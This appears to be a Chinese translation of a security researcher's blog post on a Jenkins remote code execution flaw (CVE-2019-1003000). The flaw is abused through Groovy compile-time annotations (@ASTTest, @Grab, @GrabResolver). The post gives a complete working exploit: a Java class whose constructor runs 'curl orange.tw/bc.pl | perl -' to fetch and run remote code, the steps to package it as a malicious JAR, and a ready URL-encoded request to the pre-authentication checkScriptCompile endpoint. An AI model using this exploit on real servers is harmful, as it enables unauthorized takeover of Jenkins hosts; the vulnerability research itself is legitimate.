Jenkins漏洞利用:滥用元编程实现未授权远程代码执行

本文深入分析了Jenkins CVE-2019-1003000漏洞,通过滥用Groovy元编程特性,在编译阶段实现未授权远程代码执行,详细介绍了漏洞原理、利用方法和防御措施。

Jenkins漏洞利用:滥用元编程实现未授权远程代码执行

漏洞分析

首先从Jenkins Pipeline开始解释CVE-2019-1003000。人们选择Jenkins的主要原因之一是它提供了强大的Pipeline功能,这使得编写软件构建、测试和交付脚本更加容易!你可以将Pipeline想象成一种操作Jenkins的强大语言(实际上,Pipeline是用Groovy构建的DSL)。

为了检查用户提供脚本的语法是否正确,Jenkins为开发者提供了一个接口。如果你是这个功能的开发者,你会如何实现这个语法错误检查功能?你可以自己编写一个AST(抽象语法树)解析器,但这太困难了。最简单的方法是重用现有函数和库!

如前所述,Pipeline只是用Groovy构建的DSL,因此Pipeline必须遵循Groovy语法!如果Groovy解析器能够处理Pipeline脚本而没有错误,那么语法一定是正确的!以下代码片段显示了Jenkins如何验证Pipeline:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // 批准要求由常规stapler表单验证管理(通过doCheckScript)
}

这里Jenkins使用GroovyClassLoader.parseClass(…)方法验证Pipeline!需要注意的是,这只是一个AST解析。没有运行execute()方法,任何危险的调用都不会被执行!如果你尝试解析以下Groovy脚本,你什么也得不到:

1
2
3
this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

从开发者的角度来看,Pipeline可以控制Jenkins,因此它必须是危险的,并且需要在每次Pipeline调用之前进行严格的权限检查!然而,这只是一个简单的语法验证,因此这里的权限检查比平时要少。没有任何execute()方法,它只是一个AST解析器,必须是安全的!这是我第一次看到这个验证时的想法。然而,在写技术博客时,元编程(Meta-Programming)闪现在我的脑海中!

什么是元编程

元编程是一种编程概念!元编程的思想是为程序员提供一个抽象层,以不同的方式考虑程序,使程序更灵活和高效!元编程没有明确的定义。一般来说,程序自身处理程序以及编写操作其他程序(编译器、解释器或预处理器等)的程序都是元编程!这里的哲学非常深刻,甚至可以成为编程语言的一个大主题!

如果仍然难以理解,你可以将eval(…)视为另一种元编程,它让你动态操作程序。虽然这有点不准确,但对于理解来说仍然是一个很好的比喻!在软件工程中,也有很多与元编程相关的技术。例如:

  • C宏
  • C++模板
  • Java注解
  • Ruby(Ruby是一种对元编程友好的语言,甚至有相关的书籍)
  • DSL(领域特定语言,如Sinatra和Gradle)

当我们谈论元编程时,我们根据范围将其分为(1)编译时和(2)运行时元编程。今天,我们关注编译时元编程!

注意:用非母语解释元编程很困难。如果你感兴趣,这里有一些材料!Wiki, Ref1, Ref2
注意:我不是编程语言大师,如果有任何不正确或不准确的地方,请原谅我<(_ _)>

如何利用?

从前一节我们知道Jenkins通过parseClass(…)验证Pipeline,并了解到元编程可以在编译时干扰解析器!编译(或解析)是一项艰巨的工作,有很多复杂的事情和隐藏的功能。所以,问题是,有没有我们可以利用的副作用?

有许多简单的案例证明元编程可以使程序易受攻击,例如C语言中的宏扩展:

1
2
3
4
5
6
7
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

或者编译器资源炸弹(仅用18字节制作16GB ELF):

1
int main[-1u]={1};

或者通过编译器计算斐波那契数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

从编译后的二进制文件的汇编语言中,我们可以确定结果是在编译时计算的,而不是运行时!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

更多例子,你可以参考StackOverflow上的文章《构建编译器炸弹》!

第一次尝试

回到我们的利用,Pipeline只是用Groovy构建的DSL,而Groovy也是一种对元编程友好的语言。我们开始阅读Groovy官方元编程手册,寻找一些利用方法。在2.1.9节中,我们找到了@groovy.transform.ASTTest注解。以下是它的描述:

@ASTTest是一种特殊的AST转换,旨在帮助调试其他AST转换或Groovy编译器本身。它将让开发者在编译期间“探索”AST,并对AST执行断言,而不是对编译结果执行断言。这意味着这个AST转换在字节码产生之前提供对AST的访问。@ASTTest可以放在任何可注解的节点上,并需要两个参数:

什么!对AST执行断言?这不正是我们想要的吗?让我们先在本地环境中编写一个简单的概念验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');

$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

酷,它工作了!然而,在远程Jenkins上复现时,它显示:

1
unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

什么鬼!!!出了什么问题?

经过一点挖掘,我们找到了根本原因。这是由Pipeline Shared Groovy Libraries Plugin引起的!为了在Pipeline中重用函数,Jenkins提供了可以将自定义库导入Pipeline的功能!Jenkins会在每个执行的Pipeline之前加载这个库。因此,问题变成了在编译时缺少classPath中相应的库。这就是为什么错误unable to resolve class会出现!

如何解决这个问题?很简单!只需转到Jenkins插件管理器并删除Pipeline Shared Groovy Libraries Plugin!它可以解决问题,然后我们可以无任何错误地执行任意代码!但是,这不是一个好的解决方案,因为这个插件是随Pipeline一起安装的。要求管理员删除插件以执行代码是很蹩脚的!我们停止挖掘这个,尝试寻找另一种方法!

第二次尝试

我们继续阅读Groovy元编程手册,发现了另一个有趣的注解 - @Grab。手册上没有关于@Grab的详细信息。然而,我们在搜索引擎上找到了另一篇文章 - 《用Grape进行依赖管理》!

哦,从文章中我们了解到Grape是Groovy中内置的JAR依赖管理!它可以帮助程序员导入不在classPath中的库。用法如下:

1
2
@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

通过使用@Grab注解,它可以在编译时自动导入不在classPath中的JAR文件!如果你只是想通过有效凭据和Pipeline执行权限绕过Pipeline沙箱,那就足够了。你可以按照@adamyordan提供的PoC执行任意命令!

然而,没有有效凭据和execute()方法,这只是一个AST解析器,你甚至无法控制远程服务器上的文件。那么,我们能做什么?通过更深入地研究@Grab,我们发现了另一个有趣的注解 - @GrabResolver:

1
2
3
@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

如果你足够聪明,你会想将root参数改为恶意网站!让我们在本地环境中尝试:

1
2
3
4
5
this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
1
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

哇,它工作了!现在,我们相信我们可以通过Grape让Jenkins导入任何恶意库!然而,下一个问题是,如何获得代码执行?

代码执行之路

在利用中,目标始终是将读取原语或写入原语升级为代码执行!从前一节中,我们可以通过Grape将恶意JAR文件写入远程Jenkins服务器。然而,下一个问题是如何执行代码?

通过深入研究Groovy上的Grape实现,我们意识到库获取是由类groovy.grape.GrapeIvy完成的!我们开始寻找是否有任何方法可以利用,并注意到了一个有趣的方法processOtherServices(…)!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // 忽略无法处理的文件,例如非jar/zip工件
        // TODO 记录警告
    }
}

JAR文件只是ZIP格式的子集。在processOtherServices(…)中,如果有一些指定的入口点,Grape会注册服务。其中,Runner引起了我的兴趣。通过查看processRunners(…)的实现,我们发现了这个:

1
2
3
4
5
void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

这里我们看到了newInstance()。这是否意味着我们可以在任何类上调用构造函数?是的,所以,我们可以创建一个恶意JAR文件,并将类名放入文件META-INF/services/org.codehaus.groovy.plugins.Runners中,我们就可以调用构造函数并执行任意代码!

以下是完整的利用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar ./Orange.class /META-INF/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

1
2
3
4
5
6
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

视频

[视频内容]

结语

通过这个利用,我们可以获得远程Jenkins服务器的完全访问权限!我们使用元编程在编译时导入恶意JAR文件,并通过Runner服务执行任意代码!尽管Jenkins上有内置的Groovy沙箱(脚本安全插件)来保护Pipeline,但它毫无用处,因为漏洞在编译时,而不是运行时!

因为这是Groovy核心上的攻击向量,所有与Groovy解析器相关的方法都会受到影响!它打破了开发者的思维,认为没有执行就没有问题。这也是一个需要计算机科学知识的攻击向量。否则,你无法想到元编程!这就是使这个漏洞有趣的原因。除了我报告的入口点doCheckScriptCompile(…)和toJson(…)之外,在漏洞修复后,Mikhail Egorov还快速找到了另一个触发此漏洞的入口点!

除此之外,这个漏洞还可以与我之前关于Hacking Jenkins Part 1的利用链结合,绕过Overall/Read限制,实现应得的预认证远程代码执行。如果你完全理解了文章,你就知道如何链式利用:P

感谢阅读这篇文章,希望你喜欢!这是Hacking Jenkins系列的结束,我将在未来发布更多有趣的研究!


2019/07/02 更新

2019/05/10 更新

2019/02/22 更新

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计